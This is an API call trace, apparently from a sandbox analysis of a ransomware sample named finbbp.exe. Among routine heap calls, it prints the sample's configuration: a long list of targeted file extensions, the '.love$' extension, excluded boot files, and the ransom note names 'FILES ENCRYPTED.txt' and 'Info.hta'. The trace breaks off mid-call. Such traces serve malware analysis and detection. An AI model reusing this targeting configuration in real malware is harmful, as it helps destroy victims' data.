RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518dc0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519640 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5195e0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5196a0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5195c8 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519610 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5196d0 [0089.825] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x400) returned 0x4f5fd0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519658 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519670 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5195b0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5196b8 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5195f8 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519688 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5196e8 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519628 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519700 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519718 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f34c0 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519568 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519580 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519598 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518fc8 [0089.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518fe0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519100 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x519220 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5190a0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519178 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519238 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519190 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518f80 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518ff8 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519058 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519160 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3420 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518f98 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x518f68 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519208 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519010 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5191a8 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5190b8 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5191c0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519250 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5190d0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x518fb0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519040 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x519028 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5191d8 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519070 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5191f0 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519088 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5190e8 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519118 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519130 [0089.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519148 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519400 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519430 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5193b8 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5194c0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519370 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5192e0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519448 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5193a0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5193d0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519268 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5193e8 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519358 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519550 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519418 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519460 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5192f8 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12) returned 0x4c51f0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519280 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519478 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519388 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519490 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5194a8 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5194d8 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5194f0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519340 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519508 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519298 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5192b0 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519520 [0089.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519538 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5192c8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519310 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519328 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519938 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519a28 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519920 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519a58 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519950 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519770 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5198a8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x519830 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5198c0 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f33d0 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519a10 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3430 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5197e8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5197a0 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5199b0 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519a40 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519788 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519980 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5197b8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519800 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519998 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5199c8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5198d8 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x5198f0 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x519908 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519968 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4f3440 [0089.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x519878 [0089.829] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x5199e0 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5fd0, Size=0x800) returned 0x519f48 [0089.829] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0089.829] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x507720 | out: hHeap=0x4b0000) returned 1 [0089.829] lstrlenW (lpString="") returned 0 [0089.829] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ab70 | out: hHeap=0x4b0000) returned 1 [0089.829] lstrlenW (lpString=".love$") returned 6 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3490, Size=0x8) returned 0x4f32c0 [0089.829] lstrlenW (lpString=".love$") returned 6 [0089.829] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51abd0 | out: hHeap=0x4b0000) returned 1 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51aa80, Size=0x20) returned 0x4eef48 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef48, Size=0x40) returned 0x4ca5d0 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca5d0, Size=0x80) returned 0x4f49e0 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3490, Size=0x8) returned 0x4f3210 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3210, Size=0x10) returned 0x51ab40 [0089.829] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ab40, Size=0x20) returned 0x4eef48 [0089.830] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0089.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f49e0 | out: hHeap=0x4b0000) returned 1 [0089.830] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51acd8, Size=0x20) returned 0x4eecc8 [0089.830] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eecc8, Size=0x40) returned 0x4ca1e0 [0089.830] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0089.830] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0089.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca1e0 | out: hHeap=0x4b0000) returned 1 [0089.830] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51acf0, Size=0x20) returned 0x4eee58 [0089.830] lstrlenW (lpString="Info.hta") returned 8 [0089.830] lstrlenW (lpString="Info.hta") returned 8 [0089.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eee58 | out: hHeap=0x4b0000) returned 1 [0089.830] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x51af58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\finbbp.exe")) returned 0x22 [0089.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51af58 | out: hHeap=0x4b0000) returned 1 [0089.831] lstrlenW (lpString="finbbp.exe") returned 10 [0089.831] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef48, Size=0x40) returned 0x4ca078 [0089.832] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51aba0, Size=0x20) returned 0x4eef48 [0089.832] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ac90, Size=0x20) returned 0x4eecc8 [0089.832] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eecc8, Size=0x40) returned 0x4ca4f8 [0089.832] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4f8, Size=0x80) returned 0x4f4738 [0089.832] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4738, Size=0x100) returned 0x4f5fd0 [0089.833] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0089.833] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0089.833] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x51af58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0089.833] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52af60 | out: hHeap=0x4b0000) returned 1 [0089.833] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51af58 | out: hHeap=0x4b0000) returned 1 [0089.834] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f32f0, Size=0x8) returned 0x4f3250 [0089.834] lstrlenW (lpString="%windir%;") returned 9 [0089.834] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eef48 | out: hHeap=0x4b0000) returned 1 [0089.834] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0089.834] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x508728 | out: hHeap=0x4b0000) returned 1 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51acf0, Size=0x20) returned 0x4eee30 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee30, Size=0x40) returned 0x4ca4f8 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4f8, Size=0x80) returned 0x4f42f8 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f42f8, Size=0x100) returned 0x4f5fd0 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f31f0, Size=0x8) returned 0x4f3260 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3260, Size=0x10) returned 0x51acc0 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51acc0, Size=0x20) returned 0x4eed18 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3210, Size=0x8) returned 0x4f3260 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3270, Size=0x8) returned 0x4f3300 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3190, Size=0x8) returned 0x4f3220 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3220, Size=0x10) returned 0x51ab88 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ab88, Size=0x20) returned 0x4eef48 [0089.835] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3260, Size=0x10) returned 0x51ab88 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3300, Size=0x10) returned 0x51acc0 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3340, Size=0x8) returned 0x4f3370 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3320, Size=0x8) returned 0x4f3300 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ab88, Size=0x20) returned 0x4eecc8 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51acc0, Size=0x20) returned 0x4eee30 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3350, Size=0x8) returned 0x4f32b0 [0089.836] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0089.836] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0089.836] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51ab88, Size=0x20) returned 0x4eeea8 [0089.836] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x507720, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0089.836] lstrlenW (lpString="C:\\") returned 3 [0089.836] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0089.837] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x507720 | out: hHeap=0x4b0000) returned 1 [0089.837] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f32d0, Size=0x82) returned 0x4f6060 [0089.837] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f31b0, Size=0x100) returned 0x4f60f0 [0089.837] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f6060, Size=0x104) returned 0x4f6318 [0089.837] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f60f0, Size=0x200) returned 0x507720 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f3320 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x507720 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ad98 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f4848 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ae28 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ae10 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6318 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51aee8 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f61f8 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ae70 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f6288 | out: hHeap=0x4b0000) returned 1 [0089.839] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51adc8 | out: hHeap=0x4b0000) returned 1 [0089.839] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51af30, Size=0x20) returned 0x4eed68 [0089.839] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed68, Size=0x40) returned 0x4ca5d0 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f31a0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ab88 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5fd0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51adb0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f42f8 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51aea0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f32a0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51ad80 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c61c8 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5390 | out: hHeap=0x4b0000) returned 1 [0089.840] lstrlenW (lpString="%systemdrive%") returned 13 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeea8 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f45a0 | out: hHeap=0x4b0000) returned 1 [0089.840] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f31f0 | out: hHeap=0x4b0000) returned 1 [0089.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4f7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0089.841] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x51af18, Size=0x20) returned 0x4eed68 [0089.841] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eed68, 